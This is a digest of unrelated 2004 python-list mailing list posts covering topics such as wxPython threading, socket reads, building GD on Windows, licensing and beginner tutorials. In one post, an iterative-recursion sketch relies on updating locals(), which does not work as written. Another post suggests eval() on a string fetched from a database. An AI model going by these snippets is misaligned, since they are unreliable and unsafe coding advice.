>> From the log (when problem occurred) I see even *AFTER* the server was
>> started and accepted connections (several connections came and went
>> happily), a connection would come in and hit the "connection failed 1"
>> log line. This shouldn't have happened as the default value of
>> startServer for FooClient.__init__() is True. In the very same
> 
> Well, maybe too many connection attempts are pending...

I failed to see why this should affect the default value of the 
argument... if startServer is True (default), that log line should have 
never been reached.

Thanks!

Ben



From prouleau at impathnetworks.com  Fri Feb 27 12:39:00 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 12:39:00 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <c1ns58$kti$03$1@news.t-online.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
	<c1ns58$kti$03$1@news.t-online.com>
Message-ID: <s7L%b.18214$Mo4.612706@news20.bellglobal.com>

Peter Otten wrote:

> Pierre Rouleau wrote:
> 
> 
>>Skip Montanaro wrote:
>>
>>
>>>If you really want a dummy _() you can also stuff your version into
>>>builtins:
>>>
>>>    >>> import __builtin__
>>>    >>> def foo(s): return s
>>>    ...
>>>    >>> __builtin__._ = foo
>>>    >>> _
>>>    <function foo at 0x1d6670>
>>>    >>> _("hi")
>>>    'hi'
>>
>>I tried that, but it only works for the first call...
> 
> 
> Setting __builtin__._ to the result of the last calculation is a side effect
> of sys.displayhook. Therefore you need to change that too:
> 
> Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
> [GCC 3.2] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>import sys
>>>>def mydisplayhook(a):
> 
> ...     if a is not None: sys.stdout.write("%r\n" % a)
> ...
> 
>>>>def foo(s): return s
> 
> ...
> 
>>>>sys.displayhook = mydisplayhook
>>>>import __builtin__
>>>>__builtin__._ = foo
>>>>_("hi")
> 
> 'hi'
> 
>>>>_("hello")
> 
> 'hello'
> 

Thanks Peter, it does work!


From graham__fawcett at hotmail.com  Thu Feb  5 15:03:01 2004
From: graham__fawcett at hotmail.com (Graham Fawcett)
Date: 5 Feb 2004 12:03:01 -0800
Subject: Bitsets in Python
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
	<bvpqlt$82s$3@news.service.uci.edu>
	<94b59a36.0402050550.442a93d1@posting.google.com>
Message-ID: <e9570f37.0402051203.1309da84@posting.google.com>

matt_crypto at yahoo.co.uk (Matt) wrote in message news:<94b59a36.0402050550.442a93d1 at posting.google.com>...
> Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
> > >   does Python have any native support for bitsets? I dont seem to see
> > >   anything in the standard library?
> > 
> > What do you mean 'bitsets'?  Give a list of functionality of your 
> > 'bitsets', and it will be easy for us to tell you whether Python 
> > includes it.
> 
> BitSets crop up in (at least) C++ and Java. They allow you operate on
> a sequence of bits using a friendlier interface than hacking about
> with ^,|,& et al on integers. The Java BitSet interface:
> 
> http://java.sun.com/j2se/1.4.1/docs/api/java/util/BitSet.html
> 
> I can't find anything like it in the standard library (If I've
> overlooked it, I'd be chuffed to find out I'm wrong!). The OP might
> find the following Cookbook recipe useful, though:

Depending on your needs, you might find Sam Rushing's npstruct module
to be of use.

npstruct: An extension module useful for parsing and unparsing binary
data structures. Somewhat like the standard struct module, but with a
few extra features (bitfields, user-function-fields, byte order
specification, etc...) and a different API more convenient for
streamed and context-sensitive formats like network protocol packets,
image and sound files, etc...

http://nightmare.com/software.html

-- Graham


From kdahlhaus at yahoo.com  Tue Feb  3 15:16:53 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 3 Feb 2004 12:16:53 -0800
Subject: GD/gdmodule on Win XP
References: <3b3f63ed.0402021435.1937f119@posting.google.com>
	<m24qu95al6.fsf@mother.paradise.lost>
	<mailman.1170.1075815967.12720.python-list@python.org>
Message-ID: <283adf56.0402031216.56e57054@posting.google.com>

I just went through a similar process in getting a native 2.3 version
of the jpgraph charting library to build on windows.   While not
exactly, the same, I hope these notes will help you out.

Things build fairly straightforward using MINGW and MINSYS to build
the python extentions.   The process is went like this:

Install MINGW and MINSYS

Run dll tool on Python23 to make libpython23.a: 
[from: http://sebsauvage.net/python/mingw.html)
pexports python23.dll > python23.def
(get it from http://starship.python.net/crew/kernr/mingw32/pexports-0.42h.zip)
dlltool --dllname python23.dll --def python23.def --output-lib
libpython23.a
Copy libpython23.a to c:\python23\libs\
]


Then for each module, one at a time, perform the following sequence:

Untar the source archive.
Open a minsys window and do a compile.  Config generally works when
they have them.  Other changes are to add the python include dir to
CFLAGS and to add python23 to the linker libs and the python 'libs'
dir to the LD library path.
Copy all the resulting "lib*.a" files to C:\mingw\lib (adjusting for
your installation of course!).
Inspect the makefile install target to determine what ".h" files
should be copied.  Copy these over to c:\mingw\include.
For python modules, copy the .pyd files to your python home
\lib\site-packages directory.

After some trial and error, I found I had to build the modules in the
following order:

freetype-2.1.5
zlib-1.2.1
libpng-1.2.5
jpeg-6b
gd-1.8.4
gdmodule-0.26
jpgraph-1.5.3

I'm sure there's room for improvement, for example make install might
have worked.  I didn't really care about the amount of manual copying
in this process as I just wanted the resulting python library.


From paulo.pinto at cern.ch  Tue Feb 10 03:53:15 2004
From: paulo.pinto at cern.ch (Paulo Pinto)
Date: Tue, 10 Feb 2004 09:53:15 +0100
Subject: stat doesn't work!
In-Reply-To: <c08bdn$fq6$1@sunnews.cern.ch>
References: <c08bdn$fq6$1@sunnews.cern.ch>
Message-ID: <c0a65q$4qu$1@sunnews.cern.ch>

It works now.
Thanks for your answers.

Paulo Pinto wrote:
> I am doing an application that needs to
> know when it is manipulating symbolic links.
> 
> But it is failing to reckognize them.
> 
> If I run the following code:
> 
> <code>
> import sys
> import os
> from stat import *
> 
> mode = os.stat(sys.argv[1])[ST_MODE]
> if S_ISLNK(mode):
>         print 'File is a link'
> else:
>         print 'Just a normal file'
> </code>
> 
> 
> I will alway get the 'Just a normal file'
> message even though I am using a symbolic
> link as argument.
> 
> I've done the same example in Perl and in
> bash and it works.
> 
> Could this be a bug in my Python version
> (2.2.2) or I am doing something wrong ?
> 
> Thanks in advance,
> Paulo Pinto
> 



From jcarlson at nospam.uci.edu  Sun Feb  1 19:10:37 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 16:10:37 -0800
Subject: wxPython issues
In-Reply-To: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
Message-ID: <bvk4m4$rna$1@news.service.uci.edu>


>     #wxpython: do not use this
>     ????#wxYield()
>     #//wait for GUI to end with owerwrite dialog

wxYield only makes sense when called from the main thread.  The main 
thread should be the only thread that is handling GUI events.


What I would do is:
     def OnOverwriteDlg(self, event):
         print "OnOverwriteDlg"
         dlg = COverwriteDlg ()
         dlg.m_strInfo = g_strTitle
         g_nGuiResult = dlg.ShowModal()
         print g_nGuiResult
         return g_nGuiResult

Toss the semaphores, toss the worker threads, etc.  If saving takes so 
much time, then you can do what I describe farther down.


> How can I get, that in worker thread on "before" is waiting, until the
> dialog in mainthread is finished?

Why are you trying to use multiple threads to save files?


> wxYield, Semaphore, Mutex, ... is all a bit strange for me.
> Is there any website dedicated to this issues?

wxYield is normally used when programming a single-threaded application. 
  If your application can spend a long time on one task without 
returning, and you want to allow the GUI to update while it is 
processing, calling wxYield() is a good idea.

For example, you can have a status bar that reflects a percent complete, 
without requiring a second thread to do the processing.

     def LongRunningMethod(self, event):
         for i in xrange(101):
             self.SetStatusText("%s%% complete"%i)
             wxYield()
             time.sleep(.1)


wxMutex and wxSemaphore are really just ways of only allowing one thread 
(or some certain count) to modify some structure at one time.

def updateglobal_m(count, wxmutex):
     global counter
     for i in xrange(count):
         wxmutex.Lock()
         counter += 1
         wxmutex.Unlock()

def updateglobal_s(count, wxsemaphore):
     global counter
     for i in xrange(count):
         wxsemaphore.Wait()
         counter += 1
         wxsemaphore.Post()

The standard Python Semaphore and Mutex calls are very similar...

def updateglobal_pys(count, pysemaphore):
     global counter
     for i in xrange(count):
         pysemaphore.acquire()
         counter += 1
         pysemaphore.release()

But a Python mutex has a few different options that you can read about 
in the standard documentation.


> 2. I want to get a list icons from the windows shell folders and put
> it in the wxPython List control. How can I accomplish this?

I don't know how to get arbitrary icons from executables or dlls. 
Perhaps someone else can tell us.


> 3. 
>   menuAdd(self, pMenuFile, _("Exit") +"\tAlt+F4", _("Exit"),
> self.OnClose, wxID_CLOSE)

Change the above to:
menuAdd(self, pMenuFile, _("Exit") +"\tAlt+F4", _("Exit"), self.OnClose, 
wxNewId())

Then in the __init__ method use:
EVT_CLOSE(self, self.OnClose)



  - Josiah


From fumanchu at amor.org  Mon Feb 23 02:37:21 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 22 Feb 2004 23:37:21 -0800
Subject: derivation: sick Python trick of the week
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D8E@opus.amorhq.net>

I wrote:
> > In a fit of mad-scientist genius (get out the pitchforks 
> and torches), I
> > wondered if it might be faster to let Python do *all* the 
> parsing, and
> > just watch it work and take notes. That's what the code 
> below does. The
> > sick and twisted part is how one invokes this technique:

and Greg Ewing answered:
> It's not really all that sick, or at least it's not a new
> idea. I'm sure there's at least one DB module out there
> somewhere that uses this technique.

Figured it wasn't new. It's still hideous. :)

> > Yes, in line two we run comparisons and boolean operations on
> > non-existent attributes of x, and discard the results! Sick.
> 
> That part is perhaps a bit too twisted. It's not really
> necessary, you could just as well design it so you say
> 
>     expr = (x.a == 3) & ((x.b > 1) | (x.b < -10))

Yes, and I had done this already just to help wrap my brain around it.
There's still nothing useful about the return value (since my example
was quasi-LL, not recursive descent), but it's easier to read.

>  > And it's
>  > *far* from obvious that 'x.a' should reduce to just 'a'.
> 
> In the case of database queries, you can make this seem
> much more natural by having 'x' represent some meaningful
> object such as a table.
> 
>     db = open_database("favourite_fruits")
>     fruits = db.fruits
>     query = (fruits.kind == "apple") && (fruits.tastiness >= 3)

This is much more important in the version I'm keeping (based on
compiler.Transformer output), since there I can write:

[(x.kind, x.tastiness) for x in fruits if x.kind == "apple"]

and end up with:

SELECT fruits.kind, fruits.tastiness FROM fruits WHERE fruits.kind =
'apple'

This is getting used initially in a caching object server, so I have to
be able to apply the same logic to both 1) a dictionary of cached Python
objects, and 2) a database query.

> > I had to replace boolean 'and' and 'or' with binary calls 
> in order to
> > override them, and 'not' with 'neg'. That makes it even sicker.
> 
> Yes, that's the main nuisance with this technique. I have
> a PEP idea floating around to make and/or/not overridable,
> for this very purpose. Hmmm... does that make me sick?-)

Not sick. I personally wouldn't support the PEP based on this use case.
;) But I could see reasonable uses for it, mostly along these lines of
"paralleling a process" with another, observing process.

Thanks for the comments!


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From dave at pythonapocrypha.com  Thu Feb 19 18:14:31 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 19 Feb 2004 16:14:31 -0700
Subject: Problem Sending Data with SocketServer.ThreadingTCPServer
References: <2abe74e5.0402191501.1d80722f@posting.google.com>
Message-ID: <03e101c3f73e$217f4dd0$6401fea9@YODA>

Urge wrote:
> I'm having a problem sending data from a socket server.  The server
> side reports that it has sent 4845 bytes but the client reports only
> 1448 bytes received.  The kicker is that this ONLY happens accross the
> internet...  I've tested this with multiple connections.  If I run the
> same server and client, connect them locally I don't have a problem
> with byte totals.  Is there a timeout that I need to set... I've
> looked at and change several SOL_SOCKET parameters (i.e. SO_SNDBUF,
> etc) but this hasn't fixed my problem... This is the last thing I need
> to fix on this and any help would be greatly appreciated...

How about posting some code if you can... Are you sure that the client has
received all the data that is available? It may take several recv (or read)
calls - just because your first receive obtained 1448 bytes doesn't mean that
there's nothing more on the way.

-Dave




From Scott.Daniels at Acm.Org  Mon Feb 23 16:21:31 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 23 Feb 2004 13:21:31 -0800
Subject: Python Productivity Gain?
In-Reply-To: <403A062A.581B8A54@engcorp.com>
References: <mailman.16.1077122875.27104.python-list@python.org>	<403687e1$1@nntp0.pdx.net>
	<40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
	<4036ece5$1@nntp0.pdx.net> <403A062A.581B8A54@engcorp.com>
Message-ID: <403a77ce$1@nntp0.pdx.net>

Peter Hansen wrote:

> Scott David Daniels wrote:
> 
>>>>A9 80 20 FF D2 40 anyone? :-)
> 
> 
>>Actually hex was: 0 1 2 3 4 5 6 7 8 9 F G J K Q W
> 
> 
> Why were those particular characters used?
Low order for bits of the flexowriter generated the appropriate
value.  I expect there was some other key which would also work,
but I never experimented to discover it.  I do remember there was
a "six-bit" button which messed everything up, I believe by
pulling in 6 bits rather than 4 from the keyboard.  Bu I could
be wrong -- I forget the details of the "i" instruction.  It was
a single-address machine, with 31 bits stored, a PC, accumulator,
and instruction register.  Multiply produced _either_ the high
32 bits of a multiplication ("M") or low 32 ("N" multiply).  Memory
was 32 bits wide, but always zeroed the low order bit (a "spacer"
bit on the drum).  You got pretty good at fixed point math because
the easiest way to think of the data was a a number in [-1.0 : 1)
range (then losing the low oder bit made more sense).

A little bit of googling shows me I was right about the 6-bit button.
We used 6 bits on paper tape for the key codes (there were shift
codes to go to upper or lower case).  The 4 bits are the 4 high-order
bits of the character.

   http://ed-thelen.org/comp-hist/lgp-30-man.html

Has a pretty good description.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From grahamd at dscpl.com.au  Sun Feb 29 22:44:52 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: 29 Feb 2004 19:44:52 -0800
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
	<dc6f5c99.0402281637.71f8a571@posting.google.com>
	<9tt9h1-h1d.ln1@home.rogerbinns.com>
Message-ID: <dc6f5c99.0402291944.a8a972d@posting.google.com>

"Roger Binns" <rogerb at rogerbinns.com> wrote in message news:<9tt9h1-h1d.ln1 at home.rogerbinns.com>...
> > The next version of OSE will try to address this issue by allowing use of
> > the Python wrappers under a BSD or Python style license, provided that
> > the C++ layer underneath is left as is. Change the C++ layer underneath
> > and the QPL will apply up through the Python code as well.
> 
> I can tell you that I immediately ruled out OSE for my open source project
> http://bitpim.sf.net licensed under the Artistic License because of the
> license of OSE.

I am surprised you even went as far as looking at the license for OSE as
in looking at "bitpim", not sure that what OSE had to offer in the way
of functionality would even have made it appropriate for what you were
doing.

Anyway, interesting you mention the "Artistic License" as I have been
looking at that as an alternative license to use instead of QPL. On first
glance it may not conflict with the license I have from the company
where I worked when first developing OSE and which allows me to
continue to develop it and redistribute it.

The next version of OSE was in effect going to come in two variants
anyway, a standard version and an extended version. The standard
version is more or less what is out there now, but the extended version
has extra C++ stuff, only usable through C++ and not used in Python
wrappers, which gives additional value add. The standard version
could be switched from QPL to the Artistic License perhaps, especially
since that will pretty well stay static now since all new work being done
in the extended version anyway. The extended version would be strictly
non commercial use only unless a separate paid license was obtained.
I would like to make a bit of money from the 14 years of work that I
have put into all of this. :-)


From sdhyok at yahoo.com  Fri Feb 20 13:32:11 2004
From: sdhyok at yahoo.com (sdhyok)
Date: 20 Feb 2004 10:32:11 -0800
Subject: Class for Time Series Data
References: <mailman.91.1077243140.27104.python-list@python.org>
	<B4uh5LA5TcNAFwwC@jessikat.fsnet.co.uk>
Message-ID: <420ced91.0402201032.39832a7b@posting.google.com>

Right, FuManChu.
I am looking for some serious works like the ts class in R.
Data is aligned by calander times, and basic operations on the objects
consider the time stamps.
In addtion, a sort of standard file format for time series data.

Do you know any python program for the purpose?

Daehyok

Robin Becker <robin at jessikat.fsnet.co.uk> wrote in message news:<B4uh5LA5TcNAFwwC at jessikat.fsnet.co.uk>...
> In article <mailman.91.1077243140.27104.python-list at python.org>, Robert
> Brewer <fumanchu at amor.org> writes
> >sdhyok wrote:
> >> Hi, I am trying to build up a system handling time series data a lot.
> >> Do you know any well-designed python class specially for time 
> >> series data?
> >> Thanks in advance.
> >
> >Daehyok,
> >
> >Can you be more specific? Are you trying to generate a series of time
> >objects, or manage a series of time objects, or convert strings to time
> >objects, or what?
> >
> >FuManChu
> >
> I suspect time- eries refers to the classic data set of time ordered
> values. These are normally denoted x1,x2,....,xt. Time series feature in
> all sorts of disciplines eg biology, economics, meteorology etc etc etc.


From nuffsaid at phreaker.net  Fri Feb  6 09:26:58 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Fri, 06 Feb 2004 15:26:58 +0100
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <pan.2004.02.06.14.26.57.633358@phreaker.net>

On Thu, 05 Feb 2004 21:48:20 -0800, The Tao of Spike wrote:

> I've recentlty been getting into programming.  I was wondering what
> language to learn first and after asking around I decided on Python. 
> I'm about half way through "Non-Programmers Tutorial For Python" By
> Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
> and I'm wondering where I should go after this.  Any help is
> appreciated, thanks.

Next, I would recommend to read the official Python tutorial at the
Python website (http://www.python.org/doc/current/tut/). After that,
I would not recommend to spend too much money on 'tutorial style' books,
but to get a decent Python companion (e.g. Python - Essential Reference
by David M. Beazley) which you can use for the next years.

(There is so much Python example code on the web that it is not really
necessary to buy a book for that IMHO.)

HTH / Nuff


BTW: Will there be a 3rd edition of David Beazley's book in the
near future? Any rumors?



From bob at redivi.com  Thu Feb 26 08:31:21 2004
From: bob at redivi.com (Bob Ippolito)
Date: Thu, 26 Feb 2004 08:31:21 -0500
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org>
	<mailman.150.1077786326.8594.python-list@python.org>
Message-ID: <2004022608312127913%bob@redivicom>

On 2004-02-26 04:16:57 -0500, Angelo Secchi <secchi at sssup.it> said:

> John just to understand what you said, if the file is in IBM propietary
> binary format (EBCDIC ?) I cannot convert it in ASCII using Python?

The question is whether the existing infrastructure (probably the 
struct module) can do it in one or two lines quickly, or if more 
elaborate code would have to be written.

Of course, you do need to know how the data was encoded in order to 
reliably decode it at all..

-bob



From jcarlson at nospam.uci.edu  Fri Feb  6 23:43:42 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 20:43:42 -0800
Subject: "ulimit -s" has no effect?
In-Reply-To: <877jyzeesq.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
Message-ID: <c01qib$po6$1@news.service.uci.edu>

>>This entire thread begs the question: Why are you recursing this deep?
>>It would be faster to iterate.
> 
> 
> The algorithm calls for it: Tarjan's algorithm for finding the
> Strongly-Connected Component (SCC) of a graph.  If there is an equally
> efficient iterative approach, I'd like to hear of it.
> 
> I don't think I need to recurse to depth 1,000,000 , but definitely higher
> than 7k.

Any recursive algorithm can be unrolled into an iterative version.  The 
below is fairly generic, and relies on locals() being sane.

def blah():
     stack = []
     #set up initial local variables
     a = dict(locals())
     del a['a']
     del a['stack']
     stack.append(a)
     while stack:
         locals().update(stack.pop())
         #do what you need for this loop
         if need_to_recurse:
             #save previous state
             a = dict(locals())
             del a['a']
             del a['stack']
             stack.append(a)
             #save new local state
             a = dict(locals())
             del a['a']
             del a['stack']
             stack.append(a)
         #recursion will happen automatically

  - Josiah


From jepler at unpythonic.net  Wed Feb 11 11:38:58 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 11 Feb 2004 10:38:58 -0600
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <A128D751272CD411BC9200508BC2194D033835E2@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D033835E2@escpl.tcp.com.ar>
Message-ID: <20040211163857.GB4355@unpythonic.net>

On Wed, Feb 11, 2004 at 12:56:09PM -0300, Batista, Facundo wrote:
> And why is this useful?
> 
> In other words, what happen if the interpreter does not let you do
> "t.spanish_inquisition"?

Well, for one thing, valid Python programs would stop being valid.  This
is never something to be done lightly.

For another, there may be legitimate uses, when it's specifically to
cause the side effect that computation of the property requires
(especially in the context of software testing).  For instance, see
    http://weblogs.mozillazine.org/hyatt/archives/2003_08.html#003963
Personally, I view the fact that javascript (apparently) requires
assigment to a dummy variable as a drawback of js.


Jeff



From Chuck at spears.com  Thu Feb 26 10:43:17 2004
From: Chuck at spears.com (Chuck Spears)
Date: Thu, 26 Feb 2004 10:43:17 -0500
Subject: Python component model
Message-ID: <064s309lklji1mua00nr7v1p17bc30m7jp@4ax.com>

Does python have a component model?

I'm currently using delphi and C++ builder to build windows apps and I
am looking to also support linux.  They seem to be waffling on their
linux support so I am looking for alternatives.

The thing that makes delphi powerful is being able to link visual
components to do things like datasets (Infopower), web pages
(Intraweb), report writing, etc.  I can build client/server apps in
delphi in days.  There are also powerful components for multi-tier
apps like kbmmw and RemoteObjects.  

I've written a few small applications in python/Qt and see great
potential in the language but frankly without a solid IDE and good
component framework, I doubt I would use it for large corporate
applications.  I'm no VB hack, I have 13 years of c and c++ experience
but why would I waste my time hand coding database/multitier
applications in C++ when such powerful tools exist to do the plumbing
for me?

I've used pyQT but that isn't exactly what I had in mind.  I want more
than a forms designer and a python layer on top of a GUI library.  I
want full blown component model written in python (C++ underneath is
fine) where I can extend the built in components or write my own.  

I love what i've seen of python so far.  I also realise the component
model can be developed independent of the core python system.  I was
just wondering if anything like that is being worked on.


Thanks,
Mike


From josecarlos at siadv.com  Tue Feb 10 07:56:06 2004
From: josecarlos at siadv.com (José Carlos)
Date: Tue, 10 Feb 2004 13:56:06 +0100
Subject: open a new frame
Message-ID: <c0akd0$ht6$1@nsnmrro2-gest.nuria.telefonica-data.net>

Hi.

How can i do to open a new frame from a button?

i have tryed it with:
        def OnConfiitems0Menu(self, event):
        import Confi
        Confi.create(None).show(True)
but it don?t function well.




From ajsiegel at optonline.com  Fri Feb 13 20:04:29 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sat, 14 Feb 2004 01:04:29 GMT
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org>
Message-ID: <pusq20ha5tete3i14joul1j6oomq5tag1t@4ax.com>

On Fri, 13 Feb 2004 15:11:59 GMT, Kyler Laird <Kyler at news.Lairds.org>
wrote:
>
>What does all of this have to do with Python?  Well, I did build
>the little Hough tool using Python (and PIL), but while I was in
>class thinking "There's got to be a better way to show this" I
>kept thinking in terms of taking advantage of Python's
>interactive nature to whip together tools like this in front of
>a class.  Numeric, PIL, WxPython, SciPy, GGobi, MayaVi, ... if
>an instructor had a basic understanding of some of these tools
>and a handy framework for using them, explanations of many 
>difficult concepts would come very naturally.

I certainly feel there is something substanital to be explored and
exploited here.

My effort to give it realization is PyGeo

http://pw1.netcom.com/~ajs

which uses VPython  for 3d rendering - which I think deserves mention
on your list particularly because of its facility at the interactive
prompt.

And I will in fact be hoping to dazzle with my presentation of PyGeo
at PyCon. 

One concrete thing I think would help spread the gospel as to Python's
usefulness in this area is a LiveCD - Knoppix based, let's say - that
would come pre-configured with a good amount of  this good stuff. 

Getting up and running with some of these tools can otherwise be a
chore that one cannot expect the merely curious to undertake.

I have been contemplating a sourceforge project to produce a LiveCD of
Python related educational/visualization tools.

Would you jump in?

Art 



From newspost at lolmc.com  Sun Feb  8 12:13:44 2004
From: newspost at lolmc.com (Lol McBride)
Date: Sun, 08 Feb 2004 17:13:44 +0000
Subject: string to integer problem
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
	<c05pur$r2n$05$2@news.t-online.com>
Message-ID: <pan.2004.02.08.17.13.43.708339@lolmc.com>

On Sun, 08 Feb 2004 18:00:11 +0100, Diez B. Roggisch wrote:

>> I'm currently having problems with data returned from a MySQL database in
>> as much as the data returned is of the form '(1,10,23,33,35,48)' i.e. a
>> list variable holding 6 integers returned as a string.
> 
>>>> s = '(1,10,23,33,35,48)'
>>>> t = eval(s)
>>>> print t
> (1,10,23,33,35,48)
Hi,
thanks for this it worked a treat but I don't understand how - even after
reading the docs for the eval() builtin function.Could you explain what's
going on (in fairly simple terms as well - I'm a programmer for fun not
cause it's my job)
Thank you,
Lol


From amk at amk.ca  Thu Feb 19 08:39:02 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Thu, 19 Feb 2004 07:39:02 -0600
Subject: python vs. Perl
References: <mailman.48.1077167495.27104.python-list@python.org>
Message-ID: <qsOdnYU9DpXrIandRVn-tw@speakeasy.net>

On Wed, 18 Feb 2004 21:11:30 -0800, 

> More pertinent to Python, what is this Parrot http://www.parrotcode.org/
>(compiler?) engine, and what thought has been given to it in terms of
>advantages it might (or might not) bring to Python?  

http://www.amk.ca/conceit/parrot.html
http://pirate.tangentcode.com/

--amk


From aa at bb.cc  Fri Feb 13 10:21:06 2004
From: aa at bb.cc (Ladvánszky Károly)
Date: Fri, 13 Feb 2004 15:21:06 GMT
Subject: Question: spawn and redirection
References: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
	<402CEC44.EFE48130@engcorp.com>
Message-ID: <ae652179ac9762ccac0838a85622e763@news.meganetnews.com>

I'd like to redirect the program output into a file.

"Peter Hansen" <peter at engcorp.com> az al?bbiakat ?rta a k?vetkezo
h?r?zenetben: 402CEC44.EFE48130 at engcorp.com...
> "Ladv?nszky K?roly" wrote:
> >
> > On Windows, what is the proper way to spawn an executable and redirect
its
> > stdout and stderr.
>
> Redirect them where?  The answer might well be different (e.g. os.system
vs.
> os.popen) if you are redirecting them to a file versus redirecting them
back
> to the calling program.
>
> -Peter




From robin at jessikat.fsnet.co.uk  Fri Feb  6 04:11:31 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 6 Feb 2004 09:11:31 +0000
Subject: spam classification breaker
References: <KYSjxUAcfsIAFwax@jessikat.fsnet.co.uk>
	<mailman.1276.1076024613.12720.python-list@python.org>
Message-ID: <7xF$LJADp1IAFwO3@jessikat.fsnet.co.uk>

In article <mailman.1276.1076024613.12720.python-list at python.org>, Tim
Peters <tim.one at comcast.net> writes
>[Robin Becker]
>> .... are you asserting that spammers don't have access to the pdf that
>> users are filtering?
>
>Sorry, I couldn't make sense of that question.
>
>> Each filter may be unique, but they can be biassed. --
>
....OK I guess I'm trying to get at the following hand waving argument.
Since most people agree about what is ham or spam there must be a
general recognizer for each. My question is then, is  whether it's
possible to define a camouflage mechanism that turns ham into spam or
vice versa. Most people reading a newspaper article would classify it as
spam. If I insert a short  ad v ert into the middle the quick 
scan process is gone, but     I might be able if everything is
set up correctly     to get   a forbidden word
set into the text in plain si g ht even
though it's specifically   fo r bidden by your
all singing and dancing     B a yesian analyser. It is well known
that word/space runs are very distracting which is why printers
have long tried to eliminate them.

I don't believe a small cost will kill all spam; every day I get large
amounts of paper adverts, flyers, business cards etc etc. These have
real cost, but presumably are sufficiently market oriented that they pay
for themselves. Putting a cost on email will just reduce the volume of
spam.
-- 
Robin Becker


From miki.tebeka at zoran.com  Thu Feb 19 02:28:30 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 18 Feb 2004 23:28:30 -0800
Subject: inheritance problem
References: <mailman.44.1077159655.27104.python-list@python.org>
Message-ID: <4f0a9fdb.0402182328.5911a27@posting.google.com>

Hell Den,

> Example:
> ------------
> class c1:
>   def method1(self):
>     print 'class c1, method1'
>   def method2(self):
>     print 'class c1, method2'
>     self.method1()
> 
> class c2(c1):
>   def method1(self):
>     print 'class c2, method1'
>     c1.method2(self)
>   def method2(self):
>     print 'class c2, method2'
> 
> c = c2()
> c.method1()
> ------------
> i expect :
> class c2, method1
> class c1, method2
> class c1, method1
> 
> but i get this:
> class c2, method1
> class c1, method2
> class c2, method1
> class c1, method2
> ...
> RuntimeError: maximum recursion depth exceeded
> 
> How fix this?
You are thinking C++ (I guess), all methods in Python are "virtual".
What happens is:
c.method1 invokes c2.method1 which calls c2.method2 on self.
c2.method2 calls self.method1 *which is c2.method1*, hence the
recursion.

If you can specify the motivation behind this desing mabye we can help
you overcode it.

HTH.
Miki


From peter at engcorp.com  Fri Feb 13 17:27:24 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 13 Feb 2004 17:27:24 -0500
Subject: Reading from file up to arbitrary byte.
References: <402d4d14$0$10336$ed9e5944@reading.news.pipex.net>
Message-ID: <402D4F4C.BCCD07F8@engcorp.com>

"David M. Wilson" wrote:
> 
> Is there a simple way of reading from a file object up to a specific
> byte value? I would like to do this without reading one character at a
> time, or reading in chunks and holding a remainder over.

I'd say the simple way to do it would be to read in chunks and hold a 
remainder over.  It's not complicated: why don't you like that way?

Or even simpler: just use read()[:chunksize] and not worry about the
fact that you're reading all the data and throwing some away.
Performance-wise, this probably beats the pants off most alternatives,
if performance is what concerns you, and unless your file is really 
big and chunksize is small, who cares about the memory that is wasted
for a few microseconds?

It might also help respondents if you describe the reason for wanting
to read the first part of the file like that.  Maybe there's a more
suitable approach.

-Peter


From __peter__ at web.de  Thu Feb 26 08:20:58 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 26 Feb 2004 14:20:58 +0100
Subject: Asterisk in Python
References: <mailman.163.1077800291.8594.python-list@python.org>
Message-ID: <c1krrq$45k$07$1@news.t-online.com>

sarmin kho wrote:

> my question is : what is the asterisk (*) sign for and what is the
> different between 'param' and ' *param ' ??

Please be patient, and do not repost the same question.

While you are waiting for a detailed answer, you might read the tutorial:
http://www.python.org/doc/current/tut/node6.html

Peter



